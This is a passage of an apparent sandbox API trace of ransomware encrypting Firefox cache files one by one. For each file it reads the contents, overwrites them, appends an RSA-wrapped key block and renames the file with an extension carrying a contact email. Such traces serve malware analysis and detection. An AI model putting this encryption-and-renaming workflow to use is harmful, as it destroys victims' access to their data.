CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="7kRx3YfTfXNqRxZn4lydioFuF81n29CrWrhgC22tQXRuiCF4WNZ8P1/6ocUP8Nba\ns9i3MhJOpw0968jFLEArst1DoHx2jfzY+wBakXAbq0dwKfONXEnme/KlK8DAutrt\n4kyHTuW/kosR6ft/7+K+3BxanjdjztNWGrFu3iZ3NDL2LX9GEPDROhZDag10s8Vb\nsMu4EUyhKCM1bsVDX/Mr0CM2CWSDY4dgPSyp1xDaH6fg5LgbFE1HqdKVvHPATylw\nzp83TSnu0P22kawXFuobGIqYqJU2EyT3e6TQ0KEJdJPBA16KC5iQvTKlDfNEE1/3\nwR7zOw3X1tJBwoCMan0qMw==\n", pcchString=0x2e3f9a8) returned 1 [0264.829] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.830] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.830] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.830] CloseHandle (hObject=0x1b84) returned 1 [0264.830] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\76EF1292F45B28008B0E37EDAF898359BDA69EF7" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\76ef1292f45b28008b0e37edaf898359bda69ef7"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\76EF1292F45B28008B0E37EDAF898359BDA69EF7.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\76ef1292f45b28008b0e37edaf898359bda69ef7.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.839] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.839] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7683D7BA692E9B369DA98E12C0493E467E201053", dwFileAttributes=0x80) returned 1 [0264.840] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0x62f6b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0x62f6b, lpOverlapped=0x0) returned 1 [0264.937] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-405355, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.937] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x62f6b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x62f6b, lpOverlapped=0x0) returned 1 [0264.939] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x62f6b [0264.939] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.939] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.939] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.939] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.940] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.940] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="voq9JUzWRcz2ewnUOxg14oA7Enh+CLN0HsWw+wQo7BQDHEyQCi3gaggEB6tMISAp\n/mM6GpaOVZrCRl0G2t1JTDlgjntMKrL+iKK+CTQeblrOQHrKI7HOeTMHoUbne5ZG\nODOt1mMFgCnou4Mp02b2Q+H0jth/3h4jDNY8h7ucct1ezk1VCNM+cieCHlXuB/aH\nbxHlm0obpHs5mSa7CvLPmrrS1UnVDs5h8Y1FZj74gEFFGVP9j+TI2zBpdBK5fbcI\nds6yg9owPs2ptby1FduVjicCmH4Y/FrjsQncrMCXTjh7pJwdcLz1KsB48is8I1DU\n/iNOIuRJJJJ+vZu31q8vWQ==\n", pcchString=0x2e3f9a8) returned 1 [0264.940] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.940] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.940] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.941] CloseHandle (hObject=0x1b84) returned 1 [0264.941] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7683D7BA692E9B369DA98E12C0493E467E201053" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7683d7ba692e9b369da98e12c0493e467e201053"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7683D7BA692E9B369DA98E12C0493E467E201053.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7683d7ba692e9b369da98e12c0493e467e201053.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.943] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.943] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\75B79AD560C26FAA78C6E062C0EF70C560CA89D9", dwFileAttributes=0x80) returned 1 [0264.943] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa0a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa0a, lpOverlapped=0x0) returned 1 [0265.042] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2570, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.043] WriteFile (in: hFile=0x1b84, lpBuffer=0x343d828*, nNumberOfBytesToWrite=0xa0a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa0a, lpOverlapped=0x0) returned 1 [0265.043] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa0a [0265.044] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.044] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.044] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.045] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.045] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MpgTWYog5Q/8HxJXAHYv9dfRmBA9oiUpfkplENxyGfI9Xd9Dy8vhrRb9jXB6iMDt\nwYkU7cSXlYfdIqMgKA+CvdIyPvMwBnOTsCHvVTsxfY4AiS6AWUqqCNKUJh9k1jNI\nPRxDVnUqT0WEE/FOc7GnYK/Kkc94916x9hjeOwlStH19tc52BMKAjc9otlYdRmTq\nEYqcndd6Bx9hLk4dOcWMXA9Za9a/NdxWgqvk6aO+g2rNodPxSgj2P7OwPd0UcOaY\nIPW71Ug2T43t7Ej+shcNlXVTmacopf9UBfGSa3Po5XFFegNXHI0s7UQ4jJpYoNnB\nQMKl3Fby51Gu9js03csLZw==\n", pcchString=0x2e3f9a8) returned 1 [0265.045] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.045] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.045] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.046] CloseHandle (hObject=0x1b84) returned 1 [0265.046] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\75B79AD560C26FAA78C6E062C0EF70C560CA89D9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\75b79ad560c26faa78c6e062c0ef70c560ca89d9"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\75B79AD560C26FAA78C6E062C0EF70C560CA89D9.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\75b79ad560c26faa78c6e062c0ef70c560ca89d9.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.050] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.050] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74B519AD7904E4A0C4371C7E92DD4CC58D21E347", dwFileAttributes=0x80) returned 1 [0265.051] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x25e2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x25e2, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.136] WriteFile (in: hFile=0x1b84, lpBuffer=0x343fe18*, nNumberOfBytesToWrite=0x25e2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343fe18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x25e2, lpOverlapped=0x0) returned 1 [0265.137] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x25e2 [0265.137] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.137] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.137] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.138] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="pFXQlggqOA60tkU1ZjuhPb5egUJl0DbRV+sW55dEMKJI7rJ0KDH73yXouNITftUs\nFshdUKQyI8WUIXMgaH/0U7UIKIeHJhcscPUoRu3uf3PjTcAM+q/Kiu2tCMxcA4+Z\nreA8eeJgUSyI+jiJ7G8YCUoUX1oGLCAySO1P91/EkzAaTw5aLiRzoCCI1u33mrA8\n/xI72E3YCH7JLMIw/2W5sKpSKe6MMMPAu4oWzkhHd9mEytN8NP0XUeMgEXrJ+sjT\ndi8LZa1DSB2Y6ns8iBbMvENhZ77c4no3/klTs2o96JM+E9pARmZqDsvW2xTij6Wk\na3t1dmOwLOnoyD5Z0h0eSA==\n", pcchString=0x2e3f9a8) returned 1 [0265.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.138] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.138] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.138] CloseHandle (hObject=0x1b84) returned 1 [0265.138] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74B519AD7904E4A0C4371C7E92DD4CC58D21E347" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\74b519ad7904e4a0c4371c7e92dd4cc58d21e347"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74B519AD7904E4A0C4371C7E92DD4CC58D21E347.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\74b519ad7904e4a0c4371c7e92dd4cc58d21e347.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.140] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.140] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74766AB690050F59B01486BFB5895DC7027B12F6", dwFileAttributes=0x80) returned 1 [0265.140] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xa40, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xa40, lpOverlapped=0x0) returned 1 [0265.174] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.174] WriteFile (in: hFile=0x1b84, lpBuffer=0x343d828*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesWritten=0x2e3f9b4*=0xa40, lpOverlapped=0x0) returned 1 [0265.175] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xa40 [0265.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.175] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.176] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DZLvvx359eqd1j4vwZ6oLGjX8S9cQe51D1bpItSmwvnN9bOevlwok7D5l9GbBy0e\n/Ey6kBSQ9z9GxN/4H9pPWD9WCRZU/z0epZfA+F2AjnPIfsCEU8J9PWwRtoC/cv7S\n/OLpShGObM34F8rn2I5wNVrFFApbOMkSXVK8TpYht51P3z4bnQrR5Utixx0N0pTL\ns9T1OF/Y0JZcAYKFnd5nyvIrUNtSjoq5B7zEVw/qwfVroYsOr/QCvt06fd5qX5DP\n+da6pagGSgLXV+lpAjbc4rbt2727hTPUk5dexvLmwPCgfuijhwdljhwq1795fgbw\nbUFjJbaFH85H7MUQ1/1bJQ==\n", pcchString=0x2e3f9a8) returned 1 [0265.176] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.177] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.177] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.177] CloseHandle (hObject=0x1b84) returned 1 [0265.177] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74766AB690050F59B01486BFB5895DC7027B12F6" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\74766ab690050f59b01486bfb5895dc7027b12f6"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\74766AB690050F59B01486BFB5895DC7027B12F6.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\74766ab690050f59b01486bfb5895dc7027b12f6.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.181] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.181] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\732701B5818487B0389EC13AB5055BA0FC5A408C", dwFileAttributes=0x80) returned 1 [0265.181] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x1244, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x1244, lpOverlapped=0x0) returned 1 [0265.346] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4676, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.346] WriteFile (in: hFile=0x1b84, lpBuffer=0x343ea78*, nNumberOfBytesToWrite=0x1244, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343ea78*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1244, lpOverlapped=0x0) returned 1 [0265.347] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1244 [0265.347] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.347] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0265.347] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0265.347] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0265.348] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8Gf/fKGvzMiyovXLyGQh/az98z3us8VrqEdgAZHEPgzGN0X6XWPS0zktRNokJ/4J\nQREKZczZ8AVQFuL+L6v2L+nipG0sn4cYAfHaR9jVTKYmyvY2liVVx6zI1X96ylCL\n/mcbjXuaa3EBtclghC580E04rKdG4USKgKHc4pHqGg8+uDTxe7Lc8X6g+xJVroy1\n0gB32fTiNViqH0PMctsiA72I+sAexYYsj/soJo6+28jT8CRdi1ArGgnINrDb24u6\nfuTgc1rs8YJNBayKWfRWjgmd2xcqFBle7A0vX1h3kY8Yjf9l4wOdh1f8Rr2GG3c4\nvxU8n9owNx3RC+AotZ1zag==\n", pcchString=0x2e3f9a8) returned 1 [0265.348] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0265.348] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.348] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0265.348] CloseHandle (hObject=0x1b84) returned 1 [0265.348] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\732701B5818487B0389EC13AB5055BA0FC5A408C" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\732701b5818487b0389ec13ab5055ba0fc5a408c"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\732701B5818487B0389EC13AB5055BA0FC5A408C.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\732701b5818487b0389ec13ab5055ba0fc5a408c.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0265.352] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0265.352] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7312A4BC2416B43197DAB1517D4F71DDE4DDB5C1", dwFileAttributes=0x80) returned 1 [0265.353] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x11c8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x11c8, lpOverlapped=0x0) returned 1 [0265.446] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0265.447] WriteFile (in: hFile=0x1b84, lpBuffer=0x343c9f0*, nNumberOfBytesToWrite=0x11c8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343c9f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x11c8, lpOverlapped=0x0) returned 1 [0265.447] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x11c8 [0265.447] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0265.447] WriteFile (in: 